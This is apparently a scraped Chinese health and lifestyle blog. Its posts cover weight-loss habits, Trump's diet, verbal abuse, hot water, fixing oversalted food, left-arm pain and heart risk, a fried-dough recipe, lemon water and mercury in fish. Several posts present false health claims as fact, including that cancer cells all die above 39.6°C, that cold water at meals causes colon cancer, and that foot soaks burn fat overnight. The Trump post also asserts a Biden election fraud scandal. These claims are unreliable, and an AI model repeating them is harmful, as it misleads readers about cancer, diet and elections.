禁止食物存储,尤其是零食和饮料等。因为存储食物会增加吃的欲望,不知不觉间就会给身体带来多余的热量,最终造成肥胖和浮肿。

家里或者办公室不要存储食物。非要放些食物也只能是水果或者无糖酸奶等。

4.动起来

运动是消耗脂肪和预防脂肪积蓄最好的方法。

如果没有充足的时间去做系统的运动,但是也可以做些简单的运动来达到燃脂的效果。

例如打扫卫生、爬楼梯、睡前伸展等。

另外家里物品的摆放也可以帮助身体动起来,例如遥控器放在距离沙发有些远的地方。睡衣挂在高一点的位置等。

5.睡前不吃任何食物

晚上身体的代谢缓慢,一定要严格的控制饮食,至少睡前三小时什么也不吃,这是预防肥胖和防止脂肪堆积最有效的方法。


睡前不吃任何食物

6.泡脚

泡脚可以缓解疲劳和促进循环和排毒等。

睡前泡泡脚就可以燃脂一整晚。

简单的生活习惯就可以顺利的瘦下来,赶紧加入到健康瘦身的队伍中来吧!

2020-11-29 / by / in
川普总统喜欢吃什么使他保持旺盛的精力?你肯定想不到!(组图)

川普总统/川普/饮食爱吃什么/最喜欢的食物

我们来看看美国总统川普,喜欢吃什么食物,有着怎样的旺盛精力?

在今年大选前的一周里,美国总统川普马不停蹄的奔走于不同的州进行竞选造势,仅在11月2日的当天,他就去了5个州进行演讲,最后一场集会结束时是11月3日凌晨1:30分,当他返回白宫的时候已是凌晨3:30分了。然而在3号的早上7点多钟他又接受了美国福克斯早间新闻的采访。

很难相信,这样大的一个工作压力,即使是年轻人恐怕也很难承受得住,何况是一个已经74岁的老人! 就在人们期待着大选即将尘埃落定,川普总统终于可以放松一下的时候,没想到由于拜登的大选舞弊丑闻,使川普总统的竞选又进入了下一个繁忙的法律诉讼阶段,人们不仅会问什么样的食物能使川普总统保持这样一个旺盛的精力和健壮的体质?

答案恐怕会让人大跌眼镜,在2016年陪同川普总统到各地参加竞选活动的助理透露说当时已年届70岁的川普总统非常喜欢吃麦当劳,披萨,汉堡或肯德基之类的快餐,喜欢喝少糖的可乐(diet coke)而且从来不吃早餐,即使偶尔吃一次,也是香肠和鸡蛋之类的,而绝不是人们认为的麦片之类的健康食品。


川普总统在飞机上

据说川普总统也吃蔬菜,但是量并不多,主要都是牛排套餐旁边附上的蔬菜。川普总统也会吃沙拉,里面虽有蔬菜如生菜,番茄,酪梨等,但也有许多肉,如培根或鸡胸肉等。川普总统的前竞选经理科里·莱万多夫斯基在他所写的一书中提到:从来没有看过他吃水果或是坚果类的食品。他最爱的零嘴是原味的乐事薯片和Oreo品牌的香草口味的夹心饼干,这两种是常常出现在川普总统空军一号上的零食。有趣的是川普总统的零食还与政治有关,他本来爱吃Oreo饼干,但是自从Oreo把工厂迁到墨西哥之后他就不再吃了。


Oreo 饼干

川普总统曾告诉《人物》杂志,在大型的集会人群中不断讲话就像一种运动,使他根本没有时间坐下来吃一顿饭。难怪他会不断的吃零食。

《时代》杂志报道说“在川普总统的日常工作中似乎没有时间坐在餐桌旁吃饭,他经常是在成堆的报纸和简报中吃完午餐。”


川普总统

川普总统也有不热衷的食物,那就是日本寿司,并且对此非常的厌恶。根据《失落的大亨:唐纳德·J 川普人生》一书的摘录,川普总统在1990年的日本之行中表示,他不会吃“生鱼片”,而是选择了吃麦当劳的汉堡包。

川普总统完全不沾酒精类的饮品,因为他的哥哥Freddy年纪轻轻就因酗酒过世,但川普总统爱喝没有酒精的血腥玛丽,一名助理说这是川普总统版本的鸡尾酒。川普总统虽然不喝含咖啡因的饮料,但是他会喝很多含糖量少的可乐(Diet Coke),一天可以喝好几罐。根据可口可乐的说明,一小罐可乐含约42毫克的咖啡因。若川普总统行程特别紧凑,他才会喝全糖的可乐。

在健身方面,川普总统除了打高尔夫球之外,很少参加其它的运动,睡觉也很少。他的一个前助理表示他曾经接到过川普总统打来的电话最晚在半夜1:30左右,最早是在大约凌晨4:30分左右。尽管没有足够的运动,也没有足够的睡眠,而且还经常吃被人们认为是垃圾食品的川普总统,其医生出具的健康评估报告显示,他是历年来当选总统里最健康的总统之一。

现代科学一直声称三高,即:高血压,高血糖和高血脂是吃出来的,然而川普总统的饮食习惯使得人们不得不质疑这种说法的正确性。

不仅如此,川普总统还是美国历史上上任时最年长的总统,在他宣誓就职时已年满70周岁,打破了里根总统1981年以69岁出任总统创下的记录。

自从川普总统入主白宫后,他的三餐已经开始变成牛排和马铃薯,川普总统尤其喜爱其俱乐部的牛排,川普总统的管家说他喜欢吃全熟的牛排,硬的像石头一样。川普总统据说也很喜欢吃鱼和海鲜,例如螃蟹和虾子。麦当劳的鱼派(Filet-O-Fish )就是他的最爱之一。

川普总统不仅痴迷于零食,而且还是个细菌恐惧症者,凡是打开过的包装如果没有吃完的话,就必须将它们全部扔掉。

2020-11-28 / by / in
言语暴力!轻易酿成的10大伤害(组图)

健康/心理/语言暴力

语言是有生命的,明朝《增广贤文》中有这样一句话:良言一句三冬暖,恶语伤人六月寒。足见语言它具备的能力,那么我们今天来探讨一下言语暴力对人的伤害。

1.言语暴力是伤人的,尤其是当伤人者否认自己的行为。如果受害者对伤害行为的认知遭到对方鄙视,又无法证明自己的现实,他所感受到的混乱也是一种伤害。

2.言语暴力会攻击受害者的天性与能力。受害者可能会开始相信是自己有问题,或是自己的能力很差,就如贝拉说的:

他常说我的开车技术很烂,后来我真的开始觉得自己不会开车。我想我被他洗脑了。但你知道吗?我开了二十七年的车,从来没出过车祸,也没吃过罚单。

3.据华人健康报道:言语暴力可能是显性(暴怒发飙和辱骂),也可能是隐性(非常隐晦,譬如洗脑)。显性的言语暴力通常会充满怪罪与指责,使受害者一头雾水;隐晦的言语暴力则是隐藏起来的攻击行为,会更令受害者更混乱,用意是在受害者不知情的情况下达到控制目的。


语言暴力

4.贬损他人的言语也可能是用极度诚恳及关切的语气来说。爱伦的经历就是很好的例子:

他曾经语重心长地对我说:「我们从来无法好好讨论一本书,是因为很多常见用语明明是一般大众都知道的,妳却不懂。」我心想:「我和他沟通不良,一定就是因为这样。」我非常伤心、绝望,毕竟按照这个说法,一切都是我自己害的。

5.言语暴力是操纵的、控制的。通常,受害者不知道自己遭到对方操纵和控制,但他可能会注意到自己的生活与原先的规划天差地远,或者不如预期来得快乐。

6.言语暴力往往看似无害,实际上却十分危险。言语暴力会轻视、不尊重或贬低受害者,例如:

A. 逐渐侵蚀受害者的自尊,通常是在不知情的状况下。

B. 使受害者失去自信而不自知。

C. 受害者为了避免激怒伴侣,会有意识或无意识地试图改变行为,这样才不会再次受伤。

D. 受害者可能在不知情的情况下受到洗脑。如同朵拉的建议:

你永远没办法根据朋友的所见所言,或是丈夫对于他自身与这段关系的解读,来看清自己正在遭受言语暴力。请妳在书中强调,言语暴力可以是多么含蓄、细微与不着痕迹。你会受到它的制约,产生混乱,然后就无法认清真相。


语言暴力

7.言语暴力是无法预测的。不可预测是言语暴力最主要的特征。如前文所述,受害者面对伤人者的嘲讽、打击、鄙视或辱骂,会感到震惊、错愕与不知所措。即使受害者再聪明、判断力再好、思虑再周全,还是料想不到对方会有这种举动,也不明白这些事件为何会发生,又该如何避免。

8.言语暴力就是这段关系的问题。当一对伴侣为了重要的问题发生真正的争执,例如怎么教养孩子或相处时间怎么安排,双方难免会动怒,但他们可以表达:「我生气是因为……」或是「我想要……」假如双方保持善意,就能解决问题。但在言语虐待关系中,并不存在基于特定原因的冲突。真正的问题在于暴力,只要这个问题并未受到解决,伤害行为不会有终止的一天。


语言暴力

9.言语暴力会传达两种意涵。伤人者的说话方式与他真实的感受并不一致,例如,他会用诚恳又坦白的语气,说伴侣有问题;即使暴跳如雷,依然坚持「我没生气」;邀请伴侣外出吃晚餐,却在席间冷漠以对。受害者们如此诉说:

「他说他爱我,然后又告诉我,他想说什么就说什么。」

「他表示他能接纳每一个人,但却批评我、否定我的看法或感受。」

「他说自己随和好相处,却每天动不动发脾气。」

「他说他支持我,但我和他相处时却觉得孤单寂寞。」


语言暴力

10.言语暴力通常会在强度、频率、种类都逐渐加剧。举例来说,在关系的初期,伤人者可能会把贬抑的言词包装成玩笑,程度也会比较收敛。但随着时间过去,便会慢慢出现其他形式的言语暴力。

在许多案例中,言语暴力均升级为肢体暴力。起初伤人者会辩称是「不小心」推撞对方,之后变本加厉,肆无忌惮地拳打脚踢。一位受害女性表示,每次她与丈夫站在一起时,譬如在看地图,他都会踩在她的脚上。她抱怨时,丈夫会摆出一副惊讶的模样,好像完全没注意到似的,但这种情况却一而再、再而三发生。

随着言语虐待进展为肢体暴力,伤人者可能会开始侵犯受害者的空间。一位受害者说,每次她在有背垫的椅子上舒服地喝咖啡,之后暂时离开房间,回来后就会看到伴侣坐在她的位子上,不管她坐哪张椅子,对方总会故意挑那个位子坐,也总是拒绝把位子还给她。后来,她还发现每当自己走向冰箱或洗手台,伴侣总是故意挡在她前面。留意从言语暴力到肢体暴力的转变非常重要,因为根据心理治疗的临床经验,所有遭受家暴的女性都曾经历言语虐待。

2020-11-27 / by / in
知道吗!喝热水竟有12种好处

健康/减肥/抗癌/排毒/喝热水

水是生命之源,水在人体的健康中更是起到了重要作用,是各种营养素和物质运输的不可缺少的重要部分。

也听医生说过,每天理想的喝水量约八杯水。然而,大多数人不知道的是,温水和热水有一些独特的优点是喝凉水时得不到的。

现在日本的艺能界流行一种“白汤”排毒法!日文的“汤”就是热水,而“白汤”就是什么都不加的热水!这种疗法源自于印度的阿育吠陀(Aayurveda),借由喝温热的水让身体热起来,达到和用芝麻油按摩让身体热起来同样的效果。

经过日本许多明星的实践证明:热水排毒法能够提升基础代谢,让身体觉得轻松舒畅,改善便秘,排出老废物质,进而达到美肌与瘦身的效果!

喝热水不仅能够刺激肠胃蠕动,也能促进肾脏肝脏等器官的活动,维持担任排毒重责大任的器官的活性,让血液能够更轻松的运输氧气与养分到全身,促进新陈代谢。

喝热水也具有精神层面排毒的功效。慢慢的喝杯热水,能够缓冲一下忙碌的工作,消除压力,让你神清气爽!

喝热水能够温暖内脏器官,促进消化,让囤积在体内的毒素排出体外。除了有利尿作用之外,因为体内水分的调节,更能够改善便秘。此外,也能加速排汗,达到良好的排毒效果。


喝热水能够温暖内脏器官,促进消化。

开始喝热水,会感觉到温水的甜味,慢慢的你会对于食物的味道越来越敏锐,稍微吃一点就会有吃了东西的实感,进而避免暴饮暴食。

喝热水的12种好处:

1、减肥

喝热水是促进新陈代谢最好的方法,也是你想甩掉几公斤体重最好的方法。要做到这一点,就是在早晨喝一杯热开水,热水会帮助你的身体分解脂肪组织(又名体脂肪)。

2、通鼻

喝热水是感冒、咳嗽和喉咙痛最佳的天然疗法。热水可以化痰,也有助于从呼吸道中祛痰,缓解喉咙痛,还有助于清除鼻塞。

3、减少经痛

热水有助于减少经痛。水的热度可缓解腹部痛经的不适感,最终也能改善抽筋和痉挛的症状。

4、身体排毒

热水有帮助身体排毒的奇妙功效,喝了热水后,身体的体温就开始上升,而导致身体排汗。出汗时,可帮助你的身体释放毒素,适当地净化身体。为了达到最佳效果,饮用前请挤一些柠檬汁加入。

5、防止早衰

当人体积累的毒素过多时容易生病和衰老,你应该清除体内的毒素,免得被体内毒素催老。喝热开水还可帮助修复皮肤细胞,增加你皮肤的弹性和干扰有害的自由基。


人体积累的毒素过多时容易生病和衰老

6、防止粉刺

热水对皮肤的好处还有很多,例如可深层洗净身体的皮肤,减少痤疮感染。

7、健康头发

喝热水有助于头发变得柔软有光泽,刺激发根神经末梢,让头发恢复自然活力,能常保头发健康,刺激头发发根神经末梢,还有另一个附加的好处:刺激头发生长!热水促进发根的发育,加速头发生长。

8、高温治癌

日本石原结实医师提及“癌细胞怕热”的观念。他认为,现在医学已非常进步,医师也愈来愈多,癌症却依然有增无减,其中一个很大的因素,就是现代人普遍体温低下,因人体体温降至35度时,正是癌细胞最活跃繁殖的时候,反之,当体温达到39.6度以上时,癌细胞就会全部死掉。

9、防止头皮屑

热水可保持你的头皮滋润,有助于防止头皮干燥或头皮屑。

10、血液循环

喝热水的另一个重要的好处是加强你的血液循环,这对正常的肌肉和神经活动很重要。此外,它可分解神经系统周围堆积的脂肪,维持神精系统健康。

11、帮助消化

热水对于消化系统特别有益处。有研究表明,进食期间或饭后饮用冷水可使吃进体内的油脂变硬。这样会造成吃进的油脂黏附于肠壁上,而沉积在肠壁上的油脂最终将导致肠癌。

然而,若是吃饭时改喝热水,则可避免肠癌的问题。同时,喝热水还可帮助消化。

12、帮助排便

热水可以帮助你的肠胃正常消化,使你的排便顺畅。脱水会导致慢性便秘问题,使得大便在你的肠道内积聚,导致肠道的运动变慢。是故健康专家总是建议我们,在每天早上空腹时喝一杯热水或温水,可帮助分解任何残留在肠胃内的食物,促使其平滑通过肠道,排出体外。

2020-11-27 / by / in
炒菜盐放多了别加水 加点儿这东西 健康还美味!

炒菜盐放多了怎么办/盐放多了别加水/盐放多了加点儿这东西

有的时候在家炒菜一不小心盐放多了,好好的一盘菜就失去了美美的味道,搞的好不开心,那么今天教你学会这几招,万一盐放多了就用它来解决。

炒菜盐放多了怎么办?

加糖或醋

做肉类,辣味菜的时候,如果不小心加多了盐,可以放一些糖进去调味。糖会减弱舌头对盐和辣的感觉,让味道更有层次,增加愉悦感,所以这也是为什么许多川菜里面会有点甜的原因。

不过这一招虽然会减轻辣味,但是不会减少人体的钠摄入量,对于那些医生建议少吃盐的朋友,要慎用。


做肉类,辣味菜的时候,加多了盐,可以放一些糖 

面粉或大米

煲汤时盐放多了,又想喝上口味清淡的汤品,只需拿一块干净的纱布,包裹上两勺生粉,面粉或是大米,丢在咸咸的菜汤中,搅拌一下盐分便被吸收了,汤也就变淡了。

加水煮蛋

鸡蛋吸盐,尤其是蛋黄。如果带汤的菜或面汤里面盐放多了,只需将鸡蛋放在锅中,生熟都可以,过一会鸡蛋便把菜汤中的盐分吸收了,菜品不仅不那么咸了,添加了鸡蛋营养也更全面!

加土豆

土豆也很能吸盐,且不会破坏菜品本身的味道。菜若咸了,只需丢入些许土豆片,一分钟后就能见效。而且土豆放在菜里一起,又多了一样美味菜肴。


土豆也很能吸盐 

加豆腐

豆腐本身具有特别的大豆鲜香,而且吸附能力很强。如果你的汤的盐太多,扔几块豆腐进去,豆腐马上会吸收汤里的盐分,还能增加汤的鲜美滋味。不只是盐,辣椒或其他调料加多了,也可以用豆腐吸附,吸收了调料的豆腐,你可以留着吃,也可以丢弃。

其他调料也有放失手的时候,再教大家几个窍门

辣椒放多加鸡蛋

鸡蛋除了能吸收咸味,还能裹走辣味。炒菜时辣椒放多了,可以顺势加个鸡蛋翻炒一下,辣椒轻松被裹走,吃起来也更有味!

醋多加皮蛋

若是醋放多了,菜吃起来酸酸的,不妨将松花蛋/皮蛋切碎入锅,不仅酸度降低了,菜品口感也更丰富了!


醋多加皮蛋 

菜苦加白醋

天越来越热了,吃个苦瓜清热解毒,若是没掌握苦瓜去苦的诀窍,炒出的菜苦苦的,这时只需加入些白醋,便不会浪费一盘好菜了!

油多加紫菜

清淡的菜品更有益健康,一不小心油多了可怎么办?只需将紫菜在火上烤一下,然后丢进菜或汤中,菜品立刻不油腻啦!

2020-11-26 / by / in , ,
这个部位疼痛,是在提醒你 :是有心脏骤停的风险!

健康/生活方式/合理饮食/左臂痛

在美国最近有一篇报道:因心脏骤停而死亡的病例每年多达35万例。很多人认为心脏骤停都是突然的、不可预测的,事实上,大量的研究发现,心脏骤停是有可能出现警告征兆的,只是很多人都不知道。

科学家研究发现,左臂疼痛可能是心脏骤停或其他心脏问题的征兆。

什么是心脏骤停?

心脏问题是健康的头号杀手,心脏骤停是指心脏突然停止,血液无法流到大脑和其他器官,如果没有得到及时有效的治疗,往往会导致患者的死亡。相反,如果这些患者及时察觉出心脏骤停的征兆,在发病前拨打急救电话求助,他们就有可能活下来。

心脏骤停为何会导致左臂疼痛?

左臂疼痛是心脏病发作或心脏骤停最显著的症状之一。我们都知道疼痛是由于神经受到刺激传到大脑皮层后人体就有了相应的感觉。心脏病发作引起的疼痛可能由中枢神经系统传递到左侧的神经造成的。

注意左手臂疼痛

如果你发现自己的左手臂没有缘由的突发疼痛,并伴有胸痛症状,你可能需要立即就医。这种疼痛一般为钝痛,而不是剧痛,尽管疼痛不太严重,但要抬起手臂却十分困难。除了左手臂疼痛之外,心脏骤停时,身体其他部位也可能会出现疼痛。胃部、下巴、肩膀或颈部的疼痛可能是心脏问题的信号。

如果你的胳膊不时疼痛,而且持续一段日子,可别以为是劳累所致,这很可能是心脏骤停或者心脏病发作的征兆。心脏病发作是非常严重的甚至会危及生命,如果你有心脏病家族病史,一定要认真对待左臂疼痛。当发生胳膊疼的症状时,在排除了其他病因后,建议到心血管内科进一步检查。

心脏疾病预防,合理饮食是关键

对于心脏病的预防,在饮食方面讲究五个字“粗、杂、素、淡、鲜”,具体来说就是,多吃粗粮,注意饮食的多样性,清淡、少盐、新鲜。

心脏疾病患者需要注意的禁忌

1.少油、少盐、少糖的饮食原则。

2.多吃高纤维的蔬菜水果、多选择全谷类食物、或未加工的豆类,如芥蓝菜、空心菜、地瓜、芋头、竹笋、芦笋、蒟蒻、糙米、燕麦、全麦面包、黄豆、红豆、绿豆…等。

3.多摄取维生素E,可以强化心肌,防止血凝块的形成,减少胆固醇,如小麦胚芽、芝麻、橄榄油…等。

4.适度的运动,以解除压力。

5.宜少量多餐。

6.多吃大豆卵磷脂,可分解脂肪与不良胆固醇,防范因血凝块而引起的中风。

1.忌吃高糖食物,以免因血糖升高而使三酸甘油脂的合成增加,引发血脂升高,对心脏不利。

2.忌吃太咸。

3.忌烟,因尼古丁会刺激肾上腺素,加快心跳,血管收缩,血压升高,而诱发心脏病。

4.忌浓茶、咖啡。

5.忌高油脂食物,如:肥肉、培根、鸡鸭皮、猪皮、鱼皮、奶油…等。

6.忌吃胆固醇含量高的食物,包括:动物内脏(脑、肝…等)、蛋黄、贝壳类及鱼卵…等。

7.忌暴饮暴食,过胖会诱发冠心病。

8.忌剧烈与刺激的运动,如高空弹跳、云霄飞车、鬼屋、海盗船…等。

9.忌发怒,情绪失控,会使交感神经兴奋,血压升高而引发心肌梗塞。

2020-11-26 / by / in
没有苏打粉 麻花照样酥脆好吃(视频)

芝麻麻花/麻花

今天跟着师傅学做麻花,简单易学又好吃。

儿时喜欢吃什么,那么这种食物通常会伴随人的一生。麻花就是这样。在中国大陆60年代时,食品匮乏,好吃的东西不多,没有什么选择,那时麻花可以算是一种奢侈品了。现在人们的生活与当年根本无法相提并论,可吃的东西品种繁多,让人眼花缭乱,但儿时那种美好的记忆却永远无法抹去。

食材:

中筋面粉 300克,油 50克,糖 50克,鸡蛋 1个,温水 70克,芝麻 10克

做法:

1. 和面:将油加入到面粉中拌匀,然后反复揉搓,这样面粉之间很难形成紧密的结合,这是麻花酥脆的关键。面和好后加入糖,鸡蛋,芝麻和70克60°C的温水,再次揉匀,饧面30分钟。

2. 将面分成2份,擀成圆片,然后卷起来,切成6等份。再将每一个小面劲揉成长条,拧成麻花状。

3. 锅中放入足够量的油,当温度达到150°C时,放入麻花,这期间最好保持油温在150度,大约炸18分钟左右就可以了。然后捞出控油。

2020-11-26 / by / in ,
柠檬水排尿酸防痛风!长期这喝法防癌又养生

健康/养生/柠檬

柠檬别称:黎檬、柠果、香橼、檬子、宜母果、里木子。

早安健康发布:主要营养: 维生素B1、B2、C、钾、钙、类黄酮素、柠檬酸、苹果酸

食疗功效:美白抗老、消除疲劳、预防心血管病

○宜食者:心血管病、感冒患者,骨质疏松者

X慎食者:蛀牙、胃酸过多者,胃溃疡患者

采购

柠檬品质优劣与否,与大小没有关系,宜挑选果皮有光泽、没有斑点、外观呈黄绿色、重量较重者。


柠檬

烹调

柠檬味酸,宜与其他蔬果一起榨汁饮用。料理中加柠檬汁,能开胃助消化。柠檬水可促进尿酸排泄、预防痛风。

柠檬对症食疗效果问答;

问:孕妇吃柠檬好处多多?

答:柠檬富含维生素C,能增强孕妇的免疫力。孕吐严重的孕妇,将柠檬汁挤入开水中饮用,可增加食欲、帮助止吐,以免孕吐严重使食道被胃酸灼伤。中医也认为柠檬有安胎作用。

问: 喝柠檬汁能使人充满活力?

答:柠檬中的柠檬酸和酒石酸,能活化体内的柠檬酸循环,促进葡萄糖分解以产生能量;维生素B 群能够加速细胞再生、避免神经衰弱;维生素C、E 有助强化记忆力,还能清除肾脏中的废物。

问: 常喝柠檬水能强身防癌?

答:柠檬口感极酸,无法直接食用,大多制成柠檬汁,或是切片泡在水中饮用。柠檬含有类黄酮、维生素C、E 等防癌物质。由于癌细胞很喜欢糖,所以喝柠檬水不应加糖,否则防癌效果会大打折扣。


柠檬水

泡柠檬水时水温不要太高,以免破坏维生素C。温柠檬水还有杀菌作用,可减缓感冒不适,加快痊愈的速度,平时泡杯温柠檬水饮用,既养生又能防癌。

问: 柠檬汁对肾脏有何保健作用?

答:肥胖是代谢症候群的危险因子之一,肥胖将使过多的脂肪组织分泌过量的发炎物质,其中的「单核细胞趋化蛋白」会攻击肾脏,可能造成肾脏损伤;适量喝些柠檬汁既能减肥又能保护肾脏。

柠檬可帮助消化和分解毒素,每天鲜榨1 杯柠檬汁,搭配温开水缓缓喝下,可清洁肠道、预防便祕。唯需留意不要太浓、太酸,以免造成胃溃疡。

问:以柠檬入菜能提升食欲?

答:柠檬的酸味与香味可刺激味蕾,让食物变得更美味可口。柠檬中的有机酸和柠檬皮中带有清香气味的橙皮油素、柠檬苦素,可有效提升食欲。

食欲不振或容易感到疲惫的人,不妨在料理中加入适量的柠檬调味,既能提振食欲,同时也有活化嗅觉、提神醒脑的效果。

问:柠檬有净化血液的功效?

答:柠檬中的有机酸与钙离子结合后,会合成一种可溶性的复合物,能缓解体内钙离子促使血液凝固的作用,保持血液清澈、促进血液循环流畅。


柠檬

柠檬中的柠檬酸也能帮助钙和镁的吸收,有助增加骨质密度,预防骨质疏松。

柠檬原汁酸度很高,不宜直接饮用;柠檬皮含有能清新醒脑的挥发油及维生素C等营养素,可加入柠檬水中一起饮用。

营养师保健室

烤肉加点柠檬汁,提味又防癌?○ 对

食用烤肉容易吃下致癌物质,导致胃癌、乳癌等癌症的罹患机率大增,因此不宜多吃。若实在嘴馋,建议加点柠檬汁,可减少致癌物质的吸收。

在烧烤食物上挤些柠檬汁,可增加食物的香气,也能消解某些致癌物所产生的毒性。

基于健康因素的考量,仍应尽量避免食用烧烤食物,尤其是烧焦的部分,千万要剥除。

热咸柠檬水能舒缓感冒症状?○ 对

柠檬含有丰富的维生素C,有助减轻感冒症状,缩短病程。

柠檬中的柠檬烯和挥发油能祛痰止咳,改善感冒引起的喉咙不适。

民间流传热咸柠檬水能舒缓感冒症状,作法:新鲜柠檬薄片2~3片,加少许盐装入杯中,冲入热开水趁热饮用,饭前、饭后皆宜。感冒初起时饮用可以加速痊愈。

柠檬汁越清澈越好吗?X错

现榨的柠檬汁带有果粒,看起来呈现混浊状。这样混浊的果汁,其实比透明无渣的柠檬汁更具防癌效果。

市售清澈透明的柠檬汁通常添加稳定剂,有的甚至只是加了柠檬香料,完全不含原汁,当然也就没有抗癌的功效。

现榨的混浊柠檬汁含有膳食纤维、维生素C、E 等排毒、抗氧化物质,防癌效果佳。

柠檬皮味道苦涩,毫无营养价值?X错

柠檬皮的营养价值不逊于果肉,若担心农药残留,可用软毛刷轻轻刷洗柠檬皮。

柠檬皮所含的柚皮苷可抗发炎;橙皮苷可降血压、降胆固醇、预防动脉硬化;类黄酮可抗过敏、抗凝血、消炎,还能加强维生素的抗氧化作用。

用柠檬皮泡茶,不仅有淡淡的柠檬香,还能摄取到多种有益健康的营养素。


柠檬

食材配对 营养加分

柠檬+ 海藻 → 强健骨骼、抗癌护肝

柠檬与海藻均富含维生素、矿物质。柠檬中的维生素C 能提高海藻钙质的吸收率,强健骨骼与牙齿。海藻中的褐藻糖胶能抗癌、降血压、改善肝功能、增强免疫力;碘则能维护甲状腺的健康。

香柠海藻冷面 2人份/573大卡

材料

小黄瓜丝、红萝卜丝、熟蟹肉各20克,面条100克,乾海藻10克

调味料

酱油1大匙,白芝麻2小匙,醋、柠檬汁、糖、麻油各1小匙,冷开水2大匙

面条煮熟后捞起冲水,洗去黏液,放入冰水冰镇后沥乾;海藻洗净,以冷开水泡开后沥乾。

将所有材料与混匀的调味料拌匀即可。

Point 海藻→

多数研究证实,海藻抗癌能力极佳,有助预防乳癌、肠癌等多种癌症。经常食用海藻,可抗氧化、抑制致癌物质与肿瘤生成。

柠檬营养搭配宜忌

✓柠檬+芦荟→美容养颜、稳定血压

柠檬富含维生素C,可加速肌肤新生。芦荟具有保湿和收敛的作用,可改善肌肤粗糙。两者搭配食用,能美容养颜、维护心血管健康。

✗柠檬+牛奶→消化不良、腹痛腹泻

柠檬含有多种有机酸成分,与富含蛋白质的牛奶一起烹调,或打成汁饮用,容易在胃中形成不易消化的物质,引发腹痛、腹泻。

2020-11-25 / by / in
4种鱼不益多吃 5原则教你这样吃鱼才健康

健康/重金属/鱼

大家都知道鱼的营养成分非常丰富,是人们生活中不可缺少的食物之一,那么怎样食鱼才能吃的健康?

台湾卫福部食药署在早在2017年就首度订定「鱼类摄食指南」,针对鲔鱼、旗鱼、油鱼、鲨鱼等属于海洋食物链顶端的大型鱼类,订出建议摄取量,这些鱼有什么问题?为什么不能多吃?

台大医院营养部营养师赖圣如在最新一期《好健康》杂志撰文发表的「4种大型鱼少吃为妙!怎样吃鱼最健康?」文章中指出,根据卫福部食药署、农委会渔业署的监测发现,深海大型鱼类体内有较高浓度的重金属物质「甲基汞」,会伤害到胎儿脑部及神经发展,为此卫福部食药署2017年首度订定「鱼类摄食指南」,针对鲔鱼、旗鱼、油鱼、鲨鱼等属于海洋食物链顶端的大型鱼类,提出建议摄取量,避免对幼儿神经发育造成危害。

4种鱼少吃 以小鱼取代大鱼

据全民健康基金会发布:联合国粮农组织(FAO)及世界卫生组织(WHO)在2010年举行了「鱼类摄取风险与收益专家讨论会」,评估特定族群的摄取风险,随后就鱼类摄取相关健康益处及健康风险提出了一些结论,并建议会员国应采取一系列步骤评估及管理鱼类摄取风险和利益,以保护民众健康。

因此卫生福利部食品药物管理署依「食品卫生安全与营养咨议会」公布摄食指南,孕妇及育龄妇女,每周至少均衡摄取7到9份(1份为35克,即成人3指并拢的大小及厚度)鱼类,1到3岁儿童每周至少摄取2份(70公克)鱼类,4到6岁儿童每周吃3份各种鱼类。


烤鱼

但应避免鲨鱼、旗鱼、鲔鱼及油鱼等。如要摄取,孕妇及育龄妇女每周不宜超过1~2份(35克~70克);6岁以下儿童每月不宜超过1份(35克)。

建议若要吃鱼,可以选择小型的鱼种,如鲭鱼、四破鱼、秋刀鱼、肉鲫鱼、鲈鱼等,重金属残留量相对较低。此外,通常鱼内脏组织所累积之重金属也较瘦肉组织高,建议去除内脏再摄取。

鱼类具有优质脂肪酸

「鱼及海鲜」是少数综合各种重要营养素的食物,且存在较少危害、并具有预防疾病的价值。它是能量来源,提供优质蛋白质、脂肪酸(且是优质的脂肪酸比例)、维生素(D、A、E、B1、B2、B3、B6、B12;脂溶性维生素,大多积累在肝脏中)、矿物质(钙、镁、磷、氟、碘、铁、锌、铜、锰)等丰富营养素。例如鲔鱼、箭鱼、竹荚鱼含有丰富的硒;贝类、蛤蜊、沙丁鱼则含丰富的锌;软体动物、甲壳类是铜及铁的主要贡献者。

不同于畜肉类的饱和脂肪,鱼类重要的营养价值在于它特有的n-3长链不饱和脂肪酸(n-3-PUFA),也就是常听到的omega-3(即ω-3长链多元不饱和脂肪酸),包括EPA(二十碳五烯酸)和DHA(二十二碳六烯酸)。EPA及DHA在健康促进以及疾病预防扮演着重要的角色。

此外,鱼及海鲜有较易消化及高生物利用价值的蛋白质。在必需胺基酸的组成上,鱼肉几乎可以媲美奶、蛋、肉类的胺基酸营养。其他游离氨基酸,包括:组氨酸histidine、牛磺酸taurine,部份胜肽,如:丝氨酸anserine、肌肽carnosine,以及其他非蛋白质化合物,如:游离核苷酸nucleotides和肌酐酸creatine等营养也有相对高的含量。


鲫鱼

鱼类含有重要的omega-3

n-3-PUFA(omega-3)是细胞膜关键化合物,DHA会影响神经发育尤其是2岁以前幼儿的脑部、视网膜发育、认知功能等;所以孕妇摄取足量的n-3-PUFA,有助宝宝在幼儿期的神经、视力、脑力发展。

n-3-PUFA对于预防心血管疾病(尤其中风及急性心肌梗塞)也有帮助,可改善血中三酸甘油酯浓度,降低血管粥状硬化风险。鱼类富含的牛磺酸、胆碱、硒、维生素B12(降低血浆同型半胱氨酸)、维生素D、锌等营养素,在预防冠状动脉心脏病相关研究上也处于重要角色。

虽然仅有少数的研究显示鱼油可预防大肠癌,前列腺癌和乳腺癌等癌症;然而在接受化疗的癌症病人,辅助鱼油治疗,临床上显示可降低癌症所引起的发炎反应及化疗副作用、减缓体蛋白质流失。

对于部份自体免疫疾病,例如克隆氏症、溃疡性大肠炎、类风湿关节炎,代谢性疾病如高血压、代谢症候群、或是肾脏疾病、败血症、急性胰腺炎等病人,其n-3-PUFA的血液浓度较低,n-3-PUFA的抗发炎活性调控治疗上扮演有着辅助的角色;此外n-3PUFA有助于婴儿及儿童的神经发育、视力、运动发展、心理表现和成长。


鲭鱼

健康吃鱼原则

孕妇及育龄妇女每周至少均衡摄取7到9份(245~315公克)的各种鱼类。

1到3岁儿童每周至少摄取2份(70公克)各种鱼类;4到6岁儿童每周至少吃3份(105公克)各种鱼类。

鲨鱼、旗鱼、鲔鱼及油鱼甲基汞含量较高,育龄妇女及孕妇,每周不宜超过35到70公克;6岁以下儿童「每月」不宜超过35公克。

选择小型的鱼种,如鲭鱼、四破鱼、秋刀鱼、肉鲫鱼、鲈鱼等,重金属残留量相对较低。

去除鱼内脏再摄取。

2020-11-25 / by / in
有人讨厌它! 但国外研究:它竟可抗癌、预防癫痫

健康/香菜/癫痫/十二烯醛/羊角风

香菜是常见的一种提味蔬菜,其营养丰富,含有多种维生素,但是
